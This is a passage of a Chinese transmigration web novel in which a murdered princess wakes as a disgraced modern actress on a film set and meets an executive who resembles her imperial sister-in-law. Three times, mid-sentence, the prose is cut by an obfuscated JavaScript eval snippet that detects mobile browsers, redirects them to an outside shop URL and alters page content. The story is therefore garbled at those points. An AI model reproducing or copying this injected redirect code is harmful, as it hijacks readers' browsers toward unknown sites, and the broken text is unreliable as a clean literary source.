《我皇嫂也穿过来啦》 1. 【001】 李永宁醒来的时候,喉咙灼烧得厉害,连呼吸都困难,叫她的眉头忍不住皱了几分。 为何会这样?这不应当。 失去意识之前,她清楚地记得,自己是怎么样死去的。 皇嫂诞辰在即,她早就有所准备。临时又接到皇帝小侄的密信,讲皇嫂身体不适,叫她务必速归。她当即轻骑简从,抄近路走入一线天峡谷。 谷幽岩寒,原本前来接应的皇家亲卫成了埋伏,上百铁骑齐齐围来,万箭并发。 便宜侄子真真是看得起她。 李永宁一边冷笑,一边以一敌百,最后却被跟随她多年的侍女从后刺中心脏。 侍女说,小皇帝许了她后位,若是事成,大梁的皇后就是她了。 李永宁想笑。 近朱者赤,近墨者黑,怎么这丫头跟在她身边这么多年,还是没看懂皇权二字? 献血喷涌而出,她却顾不上,只着急从胸前的包袱里翻出一只白玉簪。 她亲手雕刻的,暖玉采自北山,宝珠淘自南海,簪头的花样是西沙有名的奇花,簪尾的机关为东川隐士门派所造。 皇嫂已是全天下最贵重的女子,持政定国这些年,朝贡者无数,奇珍异宝恐不能入皇嫂的眼。 虽然皇嫂总说,只要是她给的,什么都是最好的。哄小孩一样的话,李永宁从没信过,也没认同过。在她心里,皇嫂当得上世间最美好的一切,不是区区‘什么’都可以。 想来想去,她便想出这个法子,收集天南海北的奇物,就当是皇嫂陪她一同闯荡了江湖。 未曾想这礼物上有一天还会染上她的鲜血。 皇嫂若是见了,岂不是会又急又气?她小时候淘气,爬树刮到小臂落了个伤口,不以为然还要再爬,皇嫂就同她不高兴了许久。 要是让皇嫂知道她受了这么重的伤,会不会从此不再理她? 李永宁生硬地咽了口唾液,撑着身子往上起,一动弹,水声哗啦作响。 睁开眼环顾四周,李永宁确定,这不是她的棺冢,也不是什么避世神医的草屋,而是一处分外奇异的地方。 四周的一切事物,全都是她从未见过的。 茫然无措着,脑海里忽地涌入诸多事物。 她尚在消化这些奇奇怪怪的新鲜话,浴室门就被人狠狠敲响了。 “李永宁!别给我装死!赶紧起来!” 好聒噪的声音。李永宁蹙了蹙眉。换作以往,可没人敢在她面前这样讲话。 等那人又吵闹了一会,门响了再响,整理完脑海中思绪的她才缓缓起身,扯起挂在一旁的浴巾,绕在自己胸口。 走到镜前瞧,镜子里的那个人,跟她长得几乎一样,却又似乎有不一样的地方。 她的身体经由长年累月的训练,自然地会流露出一种向上的气质。但镜子的这个人没有,眉眼垂垂,神态靡靡,脸颊苍白到毫无血色。 低垂眼睫,李永宁甚至还能感受到这具身体里残存的绝望与痛苦。 ‘李永宁’,这个世界的另外一个她,看似顺风顺水地当了二十来年富家千金,却在不久前被人曝光假千金身份。 众叛亲离,无人可依,全网群嘲,骂声不断。 或许是无法再承受这样的境遇,‘李永宁’选择了服药自尽。 这姑娘生怕自己死不透彻,烈性农药混着安眠药一起喝了下去。 对自己这样狠,撒手一走,又能叫那些她在乎却不在乎她的人起多少波澜呢? 李永宁对镜叹口气,认真凝望着镜子里的人。 她不明白为何命运要排演这样一出,把她置身此地,叫她来到这样一个全然陌生的时空。可江湖人都说,来都来了。左右她一时半会也找不出回去的办法,不如就先替原主清理这烂摊子。 “李永宁!还装死呢?真要我找人来撬门?”经纪人赵姐吼着,“你现在已经不是李家大小姐了!你以为你能和之前一样,让整个剧组等你一个吗?你做人能不能有点——” 门乍然拉开,裹了一条白毛巾的女子赤足走了出来,冰凉的瓷砖上落下湿润的水迹。 李永宁目不斜视,径直从经纪人身边走过:“急什么?不是还没迟到吗?” 赵姐呆了,在李永宁走出浴室的第一瞬间她就被对方身上干净凛冽的气质震慑到,反应了会,又讥讽起来:“怎么?死到临头了还要跟我摆大小姐的谱?现在全网谁不知道你李永宁就是住错窝的麻雀?你又在这跟我傲什么?” 李永宁笑笑,拿起行李箱里的衣服,转头看着赵姐。 赵姐有点心颤:“干嘛?” 李永宁笑意不减:“赵姐,你什么时候有爱看别人换衣服的癖好了?” 赵姐红了脸,骂骂咧咧转身。 李永宁并不生她的气,按照脑海里的记忆,往日里原主对待她也是趾高气扬,颐指气使。 更何况,旁人的冷嘲热讽,于她而言不过是御花园里的蝉鸣,噪杂却不值一提。 她在大梁朝堂上见过最阴毒的政敌,也见过最惨烈的背叛,这种市侩的拜高踩低,未免有些太轻。 送走赵姐,她开始试着穿上这个时代的衣服。叫内/衣的小玩意穿起来不方便,外衣的扣子也麻烦,偏有一样好,裤子的兜装东西方便,袖口也没那么繁琐,行动起来更有效。 这种现代服饰的便利性李永宁还没体验一会,就被压在化妆台前涂脂抹粉,又扮回了古代样子。 替她做妆造的几位工作人员都不喜欢她,演都不带演了,粉扑摁在她脸上的力道十足,厌烦的眼神更是贯彻始终。 李永宁没吭声,闭目养神。 “好了。”化妆师不耐烦地说。 “多谢。”李永宁回。 化妆师:“……?” 等李永宁走掉,她转头和同事嘀咕。 “我没听错吧?她也会说谢谢了?” 李永宁以前可是出了名的公主病,演技不咋样,但很擅长拿鼻孔看人。 同事不以为然:“凤凰落了难,说句谢谢也不稀奇吧?” 化妆师心道也是,换成她是李永宁,她现在也会立刻马上夹着尾巴做人。 李永宁可没尾巴。 她坐在剧组的软椅上,打了个长长的哈欠。 早上五点就被经纪人砸门,正式开拍却是上午十一点。 说来也巧,原主接下这部剧,是因为喜欢她要饰演的假公主在故事里的表现张力。结果剧拍到一半,现实里真假千金的事就爆了出来。 导演王玮走过来,拍拍手里的剧本:“永宁啊,真假千金这事儿热度挺高。为了剧的效果,我把你今天这场戏改了。你自己看看?” 李永宁扫了一眼。 改后的剧本写得极尽羞辱,要她跪在大殿上,要她哭得涕泗横流,要她像狗一样爬向皇座。 李永宁不懂演戏,却也知道,一个被宝珠一样养大的公主,就算遇到此等境遇,也绝不会有这样的反应。 “一定要这样演?”李永宁看向导演。 “当然。”王玮语气不容置疑。 明眼人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484065|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,失去李家这个靠山后李永宁的花路要走到头了。在此之前,将她身上的价值好好利用,争取榨干耗尽,才是剧组的最佳选择。 反正讨厌她的观众很多,戏改成这样,观众也爱看。 再说了,上面的资本有要求,故意想恶心她,他也没办法。 李永宁收起剧本,理了理身上有些褶皱的红色戏服。 “好。” 她轻声应道,唇角勾起一抹若有似无的弧度。 王玮怔了下,以为自己眼花。 二十分钟后,这场戏正式开拍。 大殿之内,扮演皇帝的演员掷开众臣罗列的证据,怒喝道:“大胆,竟敢冒充皇室血脉,蒙骗朕心!给朕跪下,立即谢罪!” 数名侍卫龙套上前,存心想要看她出丑,伸手就要按她的肩膀,动作粗野。 李永宁侧身一闪,步法灵动,竟让侍卫扑了个空。 顶着散落而下的宣纸,她没有跪,也没有哭,脊梁挺得笔直。 皇帝愣了,这跟导演给的新剧本不一样啊? 她怎么不求饶? 皇帝瞄了一眼导演。 导演理智上想喊卡,但心绪已经完全被眼前的一切占据,只想着瞧瞧这李永宁还能临场发挥出什么来。 李永宁缓缓抬起头,眼眸微挑,嘲意十足:“是我之过?十八年前,我不过一个襁褓小儿。” 她声音不大,却字字如刀。 “一介连话都不会说的婴孩,如何能只手遮天,去主动冒充这金尊玉贵的皇室血脉?” “后宫重重,禁军如云。能将真正的皇室血脉悄无声息地调换,这等狸猫换太子的手段,必是当年权倾朝野的朝臣,或是这深宫内院里手眼通天之辈在拨弄风云。” “圣上不去追查当年搅弄皇权更迭的乱臣贼子,不去问责皇家内卫的渎职之罪,却要将这欺君罔上混淆社稷的弥天大罪,全数扣在一个无法选择出身的婴孩头上?” 她冷冷地勾起唇角。 “如此推诿塞责,掩盖皇家的无能与糊涂,便是你的天子之怒?” 大殿内鸦雀无声。 扮演皇帝的男演员被她逼得咽了口唾沫,竟不自觉地偏过了头。 “这等糊涂的皇室,我不待也罢。” 她抬手拔下发间银簪,随手掷在青石砖上,利落转身,毫无犹豫地走出大殿。 直到她的身影彻底从镜头前消失,导演王玮才猛地回过神来,手中一直举着的对讲机差点滑落在地。 李永宁的演技什么时候这么好了?! “导演,这段……这段掐吗?咱们重来?”副导演凑过来问,语气里也带着一丝还没回过神来的惊愕。 王玮盯着监视器里的回放,没说话。 为数不多的艺术良知和拍资本马屁的脑子在打架。 片场外围突然传来一阵剧烈的骚动。 “王导!王导!”统筹气喘吁吁地跑进来,兴奋过度的脸涨得通红,声音都在颤,“谈总……谈总来探班了!” 众人顿时炸开锅。 谈总? 那个执掌着圈内半数以上影视资源,甚至连他们这部剧的最大投资方都要看其脸色的谈总? 这样顶尖的人物,怎么会突然来他们这么个小剧组探班? 王玮猛地站起身,把方才的纠结全都抛到九霄云外,快步赶去迎接。 李永宁心神微动,想到了自己的皇嫂。 皇嫂也姓谈,名清瑶,字子玉。 会不会,皇嫂也……? 2. 【002】 李永宁自嘲笑笑。 心思刚起又歇了下去。 世上哪有这么巧合的事? 更何况,她是用那样的死法结束了生命才来这世上的,如果这是来此的必经之法,那她希望皇嫂最好别来。她希望她一直健康顺遂,如愿以偿,为大梁立下太平年。 见所有人都往剧组外围去,不想凑热闹的李永宁转身朝着自己的休息间去。 这戏暂时不拍了也好,她正需要一些时间来熟悉这个时空里的一切。 原主留下来的记忆让她可以认识了解和懂得如何使用一些事物,但面对这些新奇事物的感受无法被记忆替代。 她依旧好奇方才盛满水的浴缸的材质,好奇房间里的镜子为何可以做到如此清晰,也好奇被工作人员施以在她脸上的化妆品与大梁的有何区别?还有片场的那些设备,她叫得出名字,却搞不明白原理。 初来乍到,她有很多事要做呢,哪有空去跟这群人一块见什么谈总? 普天之下,能让她上赶着去见的只有那一人罢了。 只是再也见不着了。 李永宁微沉了脸。 经纪人赵姐在旁瞧见她走得干脆,暗啐一声。 没眼力见的丫头!你不走下坡路谁走! 赵姐才懒得跟李永宁多说什么,顺着人流离去。 挤在人群里,试图亲眼见见这位传说中的谈总,运气好的话,要是被这位看中,她以后的路不都好走了?毕竟现在这个马上就要不行了,她得另寻下家! 左看右看,什么都没看着。 “都散了吧。”统筹来赶人,“别堵在这,像什么样?” 赵姐问:“导演呢?”当然,她最想问的还是谈总呢? 统筹:“赶紧走。” 赵姐瘪瘪嘴,越过他阻挡的身影,望进不远处的小楼。 楼内,王玮坐立难安。 副导演和在片场的执行制片站在他的身边,症状和他无二。 三人对面,会客室的沙发上已被铺上一层软毯。 四月上旬,虽说清明的雨下了一段时日,可也没冷到这种地步吧?王玮三人略带地诧异地看着对面的女人落坐于新铺的薄绒上。 她看起来很纤细,黑发温婉地垂落,单衣外批了一件针织衫,柔软而舒适。她的面容却不是如此,生得极清淡,肤色白得有些过头。 双眼生的深,看人的时候没什么情绪,明明那视线是由下而上的,却叫几人觉得她是从高处俯瞰。 她只是安静地坐着,抬腕品茶。 茶盏轻落在桌面,热气腾腾冒着,带出丝缕白。 “抱歉。”谈清瑶开口,声音和她的人一样,冷冷清清的,听不出什么起伏,“有些畏寒,让几位久等了。” 王玮赶忙带头摇头,弯了腰答话:“哪里哪里,谈总身体不好?” 谈清瑶不以为然:“老毛病了,不提也罢。王导,正好有些公事路过附近,听人提到这个项目,有点好奇,顺路来看看。没打扰到剧组进度吧?” 王玮接连摆手:“当然不会!这有什么打扰的?谈总言重了,您能来反倒是我们的荣幸。不打扰,一点都不打扰。刚好拍完上午的一场重头戏,大家正歇着呢。” 对于王玮的吹捧,谈清瑶无甚反应,安然受了。身体往后靠靠,姿态虽然放松,但那股子压人的劲儿却半点没减。 “重头戏?”她淡淡地重复一遍,像是有了几分兴致,“能跟我讲讲吗?” “当然!”王玮非常愿意,积极地讲了起来。 他这人有点话多,从故事的背景讲到了主角的目的,不知道的还以为这是什么招商创投会,他正在拉投资。 等副导演看不下去从背后偷偷拿手指戳他一下,他才卡壳,清两下嗓子,讲到重点。 “今天上午拍的那场戏就正好是假公主身份被皇帝戳穿的戏份,演员您知道吗?最近挂在热搜的那位。” 谈清瑶整理着针织衫的边角,眼眸低垂。 候在一旁的助理说:“我们谈总平时不太关注这些。” 王玮:“噢噢,就是李家那位,李永宁。” 谈清瑶抬了下眼皮。 王玮又讲:“哎,这丫头,我也不知道该说她什么。以前尾巴能翘天上去,在剧组里谁都看不上。现在出了热搜上这茬事,我还以为她要受打击呢,今天一看,人好好的,精神头比以前还好!” 副导演和执行制片在一旁听到他逼逼叨叨这些琐事都快崩溃了,正想再想办法提醒他,就见坐在对面的女人有了动作。 她又端起热茶品了一口。 “看起来剧组进展不错。” 拢了拢肩上的针织衫,她顺势站起身来。 “原本也就是路过,好奇这部戏拍到了什么程度,现在看来,王导确实费心了。时候不早,我就不继续打扰几位的工作了,你们先忙。” 王玮:“不忙不忙,来都来了,谈总,要不留下一起吃个午饭?我们这影视基地有家小炒味道不错的,很有当地特色。” 谈清瑶笑容疏离:“不必,我有安排。” 等她的身影消失,王玮三人都没反应过来,就感觉自己跟那走在大道上突然被□□彩票砸中,刚高兴一会,还没来得及兑换,彩票就飞走了。 王玮嘀咕:“我怎么感觉这谈总就是想来问问李永宁的事呢?” 执行制片笑他:“导,你没睡醒啊?李永宁能跟谈总扯上什么关系?人谈总说了,没听过这号人,没印象。” 王玮:“那她怎么听完李永宁的事就走了?” 执行制片和副导演互看一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484066|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心说,还能因为什么?怪你嘴碎呗! 谈家底蕴深厚,本就是绵延多年的世家,再加上这些年在谈清瑶的手里,出山涉猎了不少行业,已然演变成站在金字塔尖的,不可撼动的顶级门阀。 这样的家族里的掌权人,能有耐心听你讲这些乱七八糟的? 没脑子的! 心里吐槽,对着导演还是要恭敬一些。 副导演笑着说:“谈总嘛,可能是有点忙呢。” 执行制片应道:“对,反正她能来我们剧组看看就已经不错了,是不是?说不定有什么别的计划呢?” 王玮一想也是,打住思路:“行吧,那咱们先回吧。” 副导演问:“导,回去的话,刚刚那场戏,是保还是不保?” 王玮脑子又疼了。 他瞪了副导演一眼,自暴自弃地说:“算了,先吃饭吧。” 跟谈总提了一嘴那家本地小炒,谈总没动心,他自己先馋上了。 * 谈清瑶上了车。 助理坐在副驾,贴心询问:“谈总,需要去看看李小姐吗?” 谈清瑶持着ipad,一目十行地扫过上面的数据,头也不抬:“没必要。” 这人虽然和她的宁宁同名同姓,甚至同样长相,却始终不是她的宁宁。 谈清瑶早已看清。 人活着,不惹事,也就行了。 助理:“那我们现在去沈医生那里?她说您最近又劳累过度了,最好得去扎两针。” 谈清瑶不以为然:“死不了。” 助理还想再说什么:“谈总,您不能——” 谈清瑶抬眸看来:“去研究所。” 助理叹口气:“是。” 车行一会。 谈清瑶:“停下!” 司机狠踩刹车,助理担心地问:“谈总,怎么了?身体不舒服吗?” 谈清瑶没回应,转头看着窗外。 很熟悉的身形,刻进心底的侧脸。 宁宁。 情绪波动一瞬,谈清瑶又拉回了理智。她开口让司机继续,音才发了一半,视线却又一次凝固了。 站在街边吃小食的女子手里拿着一串水果冰糖葫芦。 她没直接咬下去,而是先抬起右手,极轻地扣了扣最顶端那颗果子的冰壳。也许是听到了一声极清脆的反馈,唇角满意到微微勾起。 随后,她才咬下第一口。 谈清瑶的心脏猛然收缩了起来。 “谈总……?”助理见她霎地推开车门,着急地唤。 谈清瑶已大步穿过马路,只在距离小摊几步远时缓了速度。 一步,两步。 谈清瑶走近了小摊,用最平静的声音询问:“老板,请问你这糖葫芦怎么卖的?” 3. 【003】 草莓冰糖葫芦不算甜,第一口下去最先察觉的滋味是酸,来自草莓本身,带着一点果调。紧接着才会品到冰糖皮的甜味,从齿尖蔓延到舌面。 这样的冰糖葫芦,跟李永宁以前吃过的相比,该完全属于逊色的那种才对。 但李永宁觉得,她大概这辈子都没办法忘记这个冰糖葫芦了。 太熟悉的音色。 皇嫂伴她左右十二年,有一半的时间都是这样的音色。 指尖本能地抓紧了手里的细长木签,提着呼吸小心转身,在看清楚那张脸的瞬间,呼吸不见了。 明明是在小吃街边,四周都是叫卖的商贩,临街而摆的桌椅也坐满了客人。世界吵闹依旧,车呼啸而过,恼人的司机在烦躁地按下喇叭。 但声音也连同呼吸一起不见了。 “六块一串,十块两串。”阿姨热情地回应着。 “来一串吧。”谈清瑶说。 风将她侧脸的碎发温柔吹起。 是她。 绝对是她。 皇嫂! 李永宁几乎就要本能地唤出口了,但耳蜗里瞬间回笼的嘈杂音响提醒着她,这已经不是过去她所在的时代了。既然这个时空有另外一个‘李永宁’,那会不会也有另外一个‘谈清瑶’?她如果贸然喊出以往的称呼,对方以为她是疯子怎么办? 更何况,在过去的‘李永宁’的记忆里,毫无任何与眼前的‘谈清瑶’有关的记忆。 这是否代表了眼前的人并非她所认识的过去的那个人?因为如果眼前的人是她认识的谈清瑶的话,李永宁相信,以皇嫂对她的保护欲,就算是换了一个世界,皇嫂也不会放着她不管的。 而且,最重要的是,李永宁发现,对方从老板手里接过糖葫芦,抬眼的瞬间,瞄到了她一眼。 这一眼,神情镇定,如流云浮过。 这不是她的皇嫂。 她的皇嫂绝不会用这样的眼神看她。 李永宁的心一下冷却,手里的糖葫芦瞬间没了滋味。 她劝慰自己,这许是好事。皇嫂没来此处,说明她正在大梁活得好好的。 低下眼眸,她迈腿想走。 “谈总!”咋呼的一声喊。 王玮三人没想到还能遇到这尊佛! 他们正往先前跟谈清瑶提及的那家本地小炒店去呢。 瞧背影觉得像,一唤就确定了,更让王伟三人惊讶的是,刚刚那个高高在上冷冷淡淡的谈总,居然还会在街边买冰糖葫芦吃! 谈清瑶眼皮微掀。 “李永宁?”王玮又咋呼了,“你怎么也在这?” 手上也拿着一串糖葫芦。 难道……? 眼神从谈清瑶身上飞快一瞟又探究地落在李永宁的身上。 刚刚被副导演与执行制片否认的念头在王玮的脑海里重新冒出根。 他就知道啊!他没说错啊! “小李啊,你也没吃饭吧?一块去吃?”王玮问。 李永宁是有点饿了,但跟王玮三人吃饭她没兴趣。这个世界不是有个叫外卖的东西吗?她想待会试试。 “谈总要不也一起?”王玮继续问。 好的,外卖再见。 李永宁看向这个跟自己的皇嫂长得一样的谈总。 也姓谈,她的名字也叫谈清瑶吗? 谈清瑶微微颔首,拿出电话,给助理发了个消息。 怕就这样一路走到小炒店太过引人注目,执行制片将自己戴着的宽檐帽递给李永宁,又给她拿了一个一次性口罩。 李永宁懂她的意思,这跟以前她要出宫,偷偷摸摸的,不想让皇嫂或其他人发现时,就会带帷帽一样。 不算熟练地口罩挂上耳,顿两秒,又摘掉一边,任由黑色的纺线垂落。 冰糖葫芦一口一个,嘎嘣脆地解决掉,李永宁才丢掉木签,将口罩重新稳戴。 谈清瑶嘴角轻轻扬起,又被入口的冰糖葫芦挡掉。 不过边走边吃东西实在不符合她的美学。 右手轻抬,微微遮挡,谈清瑶也解决起来。 她吃东西不算快,甚至可以说有点慢。 换作别的人,王玮就要变了脸催促了。但现在这样做的人是谈清瑶,他只得耐心带笑地等着,时不时还要试图跟谈清瑶唠嗑一句,聊聊这糖葫芦的味道。 谈清瑶鸟都不鸟。 仿佛吃糖葫芦就是此刻世上最大的事。 而对李永宁来说,看她吃糖葫芦就是此刻世上最大的事。 这人真的很像皇嫂,她的意思是,不是外貌上的相像。这一点早已毋庸置疑,一目了然。 皇嫂以前陪她出去玩的时候也会这样。 心弦又扯紧几分,李永宁微微敛眸,在她咽下最后一点糖皮时,手臂轻抬,递去一张纸巾。 谈清瑶抬眸,目光在她脸上定了一瞬,伸手接走,拭着自己的嘴角。 “走吧。”她丢开木签,迈开脚步。 李永宁低头,压下帽檐,口罩下的嘴角微微扬起。 她没说谢谢。 她也许真的就是皇嫂。 步伐轻快了一瞬,又在下个节拍变得迟疑。 如果她真的是皇嫂,那她在大梁又经历了什么呢? 李永宁不想任何不好的事发生在她的身上。 小皇帝既然对自己动了手,会不会也想对皇嫂动手? 蠢货东西。 是嫌自己的皇位坐得不够稳吗? 一想到这便宜小侄子可能对皇嫂使坏,李永宁就愤怒不已,气得她胸火腾烧,一脚踹开了面前的小石子。 王玮的小腿突然中招,疼得大叫一声。 “哎呀!” “干嘛!谁踢我了!” 走在他身边的副导演茫然:“怎么了导?谁踢你了?” 王玮:“你问我!我问谁!” 副导演:“没人踢你啊,大家都在好好走路呢。” 王玮不信,他的小腿现在痛得都快断了!左看右看要找元凶,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484067|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果一转头,瞧见了谈清瑶蹙起的眉头。 王玮彻底蔫了,一句话都不敢再说,闭上嘴夹着尾巴往前。 李永宁想笑,憋住了,只堪堪漏了一点气音。 走在前面的女人却敏锐地回了头,看她一眼,满是无奈。 微风又起,摇落了路边的蓝楹花,无数过往在脑海里浮现。 她十四岁那年,皇嫂已成太后。 她因为看不惯兵部尚书家的嫡子当街强抢民女,直接在众目睽睽之下把人踹进了护城河。对方险些淹死,当尚书的爹气不过,哭哭啼啼地跪在宣政殿门口,非要讨个说法。 皇嫂正垂帘听政,隔着一道层层叠叠的珠帘,声音清冷得听不出情绪:“永宁顽劣,本宫定会重罚。” 她在后面的屏风连连点头。 皇嫂仿佛有所知晓,警告般敲敲屏幕的檀木架,示意她别得寸进尺。 下了朝,回了后殿,说要重罚她的皇嫂却先要她坐下,拉过她的脚踝,看她那日为了踹人有没有伤着自己,确认无碍后,一边无奈地戳戳她的眉心,一边亲自拟旨,以教子无方为由削了老尚书半年的俸禄。 都是老油条,老尚书能不懂谈清瑶的意思?背后骂她专横独霸,却又不得不将嫡子格外管教。 再大些,她仗着轻功了得,夜里翻墙去御膳房偷喝刚供上来的陈年花雕。 结果醉得不省人事,跌进了太液池的荷花丛里,闹得宫内禁卫军以为刺客入宫,惊动了半个皇城。 最后是皇嫂披着狐裘,在冷风里站了半宿,亲自叫人把她从泥里捞起来。 那时候皇嫂也是这样看她,眼神里藏着半点薄怒和七分纵容,修长的手指点在她额头上,轻轻一推:“你啊,哪天要把这皇宫拆了,本宫才算清净。” “李永宁你看点路行吗……诶??” 执行制片傻了。 眼瞧着李永宁发呆要撞上前面胡乱停放的电瓶车屁股,她的身形却极为轻敏地往旁晃动了一下。 就跟腰上长眼睛了一样,只差毫米的时刻,她连头都没低,脚尖于地面轻巧一点,腰肢微拧,整个人就从车屁股后面绕了过去。 “……?!” 执行制片揉了揉眼睛。 这还是以前被剧组在背后调侃为内娱驯服四肢第一人的李大小姐吗?! 怎么这一动一挪之间,竟然有了几分高手的派头?! 王玮扭头问:“咋了?” 执行制片摇头:“没,没什么。” 意外,绝对是意外。 相较于她的震惊,李永宁心里却只剩下不满意。 这个时空的身体没过去的好用,锻炼不足,协调不够,也不知道再练练能不能回到过去水平的三分之一。 换做以前,她早就一个侧翻飞过去了。 甩了甩手,捏了捏胳膊上根本没有的肌肉,李永宁的嘴角翘得能挂油壶。 谈清瑶走在两人前,嘴角又牵起一点。 这小性子,真是十足像了她的宁宁。 4. 【004】 王玮推荐的餐馆在影视城附近,店面不大,却很火爆。他一早给老板打了电话留了包间,几个人这才有位置吃饭,不至于苦等在门口。 说是包间,却也算不上雅致,小小的房间摆了一张圆桌,老板勉强在墙上装点了一副装饰,用色鲜艳,吵人眼睛。 谈清瑶自然落座主位,李永宁还在琢磨坐哪最适合观察,王玮丢来一个眼神:“小李,你快挨着谈总坐啊。” 李永宁就这样坐在了谈清瑶的身边。 半臂距离,就算她现在五感不及过去灵敏,也足以让她闻到身侧女人的淡香。 特别是在女人垂首抬腕,把侧颈的发丝往后拨起的时刻。 沉香是前调,带着凌厉的木质气息,深而沉地笼罩过来以后,又引出若有若无的淡甜。 似兰如梅。 也是往日里皇嫂最爱用的方子。 小时候她耍性子,要皇嫂陪她,这个平日里最重规矩的世家嫡女,会悄悄脱了鞋袜外衣,与她在床榻上躺上一会。 抬手轻拍她的背,或捋过她的碎发,在她调皮地要招惹皇嫂挠痒痒时,佯装生气地阻止她。 偶尔,皇嫂也会给她念书,不是李永宁最不爱的女戒之流,而是江湖轶事,游记奇闻。 于是,皇嫂身上的香味与温沉轻诉的语调,成为了李永宁看世界的第一处注脚。 等她大些,皇嫂允她自由,纵她四海闲游,李永宁不要脸面地讨了皇嫂的香包,带着记忆里的气味去验证书本里的天涯。 指尖微动,心弦也被暗暗拨弄。只是无关人等太多,她也不知道该怎么问出口。 似乎怎么问都很奇怪。 而且,如果身侧的女人真的是皇嫂,那她又会怎么看她? 她现在不是过去的李永宁了,身上还背着原主留下的名声和烂摊子。 她不想皇嫂见到这样的她。 刚刚那一眼,糖葫芦摊前的一眼,她看她的眼神也很冷淡。 她的皇嫂可从没这样看过她。 思绪浮浮,人心躁躁,李永宁愁闷得很,拿起面前的茶杯一饮而尽。 王玮坐在对面问:“小李,口渴啊?” 李永宁想白他一眼,但碍于现在的身份,只回以对方一个皮笑肉不笑的弧度。 “点菜吧。”王玮招呼着,又专门对谈清瑶讲,“谈总,你可千万别嫌这地方普通。我跟你说,这家小店,虽然看起来不咋样,但味道是真不错。待会你尝尝就知道了!” 谈清瑶嗯了声,接过菜单,瞄了眼:“这个菜系我不常吃,你们点吧。李小姐?请。” 李永宁不喜欢被这样的一张脸如此生分地称呼。 她一声不吭,接过菜单看。 王玮在对面急得挤眉弄眼。 怎么回事啊李永宁!你知道你现在在对谁摆谱吗! 怕谈清瑶生气波及整个剧组,王玮赶紧找补:“那什么,谈总,小李还年轻,有些规矩她不太懂。” 李永宁冷嗖嗖地回:“我都十八,不对,我都二十四了。” 哪里年轻了? 皇嫂十八的时候,都是名震天下的太后了。 谈清瑶摆摆手,偏头对李永宁说:“点菜。” 李永宁心想气都吃饱一肚子了,她才没什么胃口! “老板,来一份双椒兔,薄荷炸排骨,还要炒小瓜。” 视线往带图的菜单上一落,嘴里的话就自动讲了出来。 李永宁,你真是个没用的贪吃鬼! 骂自己两句,她把菜单往旁放,拿出手机扒拉。 其实也没什么好看的,手机这玩意儿虽然新奇,但李永宁却不喜欢,看多了就觉得头晕脑胀。但人一旦尴尬起来总得忙点什么,面前的茶水已经被她喝光,思来想去,只有手机可以玩玩。 随便点开一个原主印象里她很喜欢逛的平台,李永宁都还没做好准备,视频就自动播放起来。 “惊!真假千金一夜反转!豪门真千金林晚回归,假千金李永宁鸠占鹊巢二十年!” 刺耳的配乐与聒噪的人声响彻包间。 李永宁吓得浑身都抖了下,差点把手机扔进茶盏里。 这什么?! 慌忙一瞬后,她又开始拼命寻找该在哪里点退出。姿态匆忙,神情堪比老奶奶看手机。 点来点去也没找到退出键,画面已经切到林晚走红毯的高清慢镜头,滤镜柔光拉满,视频还特意配上了深情旁白。 “她,是被命运遗落的明珠;她,是娱乐圈冉冉升起的新星;她,更是林家真正的血脉继承人——林晚!” 下一秒,镜头陡然一转。 糊得堪比马赛克的旧采访截图被放大十倍,画面上还特意圈出李永宁的脸,旁边标着醒目的红箭头。 弹幕飞速滚动: 【这不是李永宁吗???】 【想到她以前拿家世打压林晚,现在又……啧啧,风水轮流转啊!】 【营销号连夜加班,瓜都烫嘴!】 李永宁:“……” 破手机怎么这么难用! 她愤怒地胡乱地戳着屏幕。 “好的,小豆收到了您的智能推荐请求,根据您的观看偏好,正在为您推荐更多林晚黑料合集——” 标题接连跳出,还被AI有声朗读。 “小豆为您找到了《三分钟看完林晚耍大牌证据》《深扒林晚资源逆天的背后金主》《林晚艳压?真相来了!》等视频,请问您想看哪个呢?小豆可以为您播放。” 李永宁:“……” 她缓缓闭上眼。 很好。 她这辈子都不会再碰手机了。 空气安静三秒。 李永宁深吸一口气,粗暴地直接将手机强制关机,脸上镇定自若,仿佛什么都没发生过。 如果忽略她泛红的耳尖的话。 王玮坐在她的对面已经没眼看了,右手捂着眼睛,彻底没招了,只能在心里狠狠祈祷,谈清瑶不要迁怒才好。 “李小姐,你好像跟你的手机不太熟。”谈清瑶说。 又叫她李小姐!生分!实在生分! 看来这个人真的不是皇嫂。 李永宁扯扯嘴,不想讲话。刚刚的尴尬劲还没过呢。 王玮插嘴:“谈总,她、她新买的手机,是有点不太熟。那什么,我再点几个菜?有什么忌口的吗?” 李永宁:“不要姜。” 王玮:“你不吃姜?” 李永宁:“嗯。” 